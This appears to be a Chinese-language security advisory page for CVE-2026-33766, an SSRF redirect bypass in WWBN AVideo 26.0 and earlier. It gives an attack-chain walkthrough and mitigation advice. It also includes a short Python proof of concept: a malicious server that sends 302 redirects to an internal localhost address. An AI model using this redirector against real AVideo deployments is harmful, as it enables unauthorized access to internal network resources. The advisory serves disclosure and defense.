IPBUF安全漏洞报告
English
CVE-2026-33766 CVSS 6.5 中危

CVE-2026-33766 AVideo SSRF重定向绕过漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33766
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRFRedirect BypassWWBN AVideoCVE-2026-33766Open Source

漏洞概述

WWBN AVideo是一个开源视频平台。在其26.0及以下版本中,虽然`isSSRFSafeURL`函数会对用户提交的URL进行SSRF检查,以防止访问私有IP地址。但是,底层的`url_get_contents`函数在处理HTTP请求时,会直接跟随服务器返回的301/302重定向跳转,且未对重定向后的新目标地址重新进行安全校验。攻击者可利用此漏洞,通过构造指向公网的可控URL并设置其重定向至内网敏感地址,从而绕过SSRF防护机制,探测或访问内网资源。

技术细节

该漏洞源于服务端请求伪造(SSRF)防护逻辑的不完善,具体表现为对HTTP重定向处理的疏忽。AVideo平台在设计SSRF防御时,引入了`isSSRFSafeURL`函数,旨在拦截指向私有IP地址(如127.0.0.1、10.0.0.0/8、192.168.0.0/16等)的请求。然而,底层的`url_get_contents`函数在执行HTTP请求时,默认会跟随服务器返回的301或302重定向响应,且代码逻辑中未对重定向后的新目标地址再次调用`isSSRFSafeURL`进行校验。利用这一缺陷,攻击者首先构造一个指向公网的可控URL(例如攻击者控制的服务器),并配置该服务器在接收到请求时返回重定向响应,将Location字段指向内网敏感资源(如http://127.0.0.1:8080/admin或云元数据服务)。当AVideo平台处理该URL时,初始检查因目标为公网IP而通过,随后`url_get_contents`发起请求并自动跟随重定向,最终使得服务器向内网地址发起请求,成功绕过SSRF防御机制,可能导致内网端口扫描、敏感信息泄露或进一步的内网渗透。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的WWBN AVideo版本为26.0或更低。
STEP 2
准备
攻击者搭建一个公网Web服务器,配置为将所有访问请求通过HTTP 302重定向指向内网敏感地址(如127.0.0.1)。
STEP 3
执行
攻击者将准备好的公网服务器URL提交给AVideo平台的URL处理功能(如视频导入或预览功能)。
STEP 4
绕过
AVideo平台的`isSSRFSafeURL`函数检查请求的URL,发现其为公网IP,判定为安全。
STEP 5
利用
`url_get_contents`函数发起请求,接收到攻击者服务器的302重定向响应,并不加验证地跟随重定向请求内网地址。
STEP 6
影响
AVideo服务器成功访问内网资源,攻击者获取内网信息或利用内网服务漏洞。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-33766 # This script simulates a malicious server that redirects to an internal IP from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): # Send a 302 Redirect to an internal address (e.g., localhost admin panel) self.send_response(302) self.send_header('Location', 'http://127.0.0.1:8080/site/videos') self.end_headers() if __name__ == '__main__': # Attacker runs this server on a public IP server = HTTPServer(('0.0.0.0', 8000), RedirectHandler) print('Malicious redirect server running on port 8000...') server.serve_forever() # Exploitation: # 1. Attacker sends the URL 'http://<attacker-public-ip>:8000' to the vulnerable AVideo instance. # 2. AVideo checks <attacker-public-ip> -> Passes (Public IP). # 3. AVideo requests the URL. # 4. Server responds with 302 Location: http://127.0.0.1:8080/... # 5. AVideo follows redirect and accesses internal resource.

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
在未完成版本升级前,建议通过网络防火墙或安全组严格限制AVideo服务器对内网IP段(如127.0.0.1、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)的出站连接,以阻断重定向后的内网访问路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表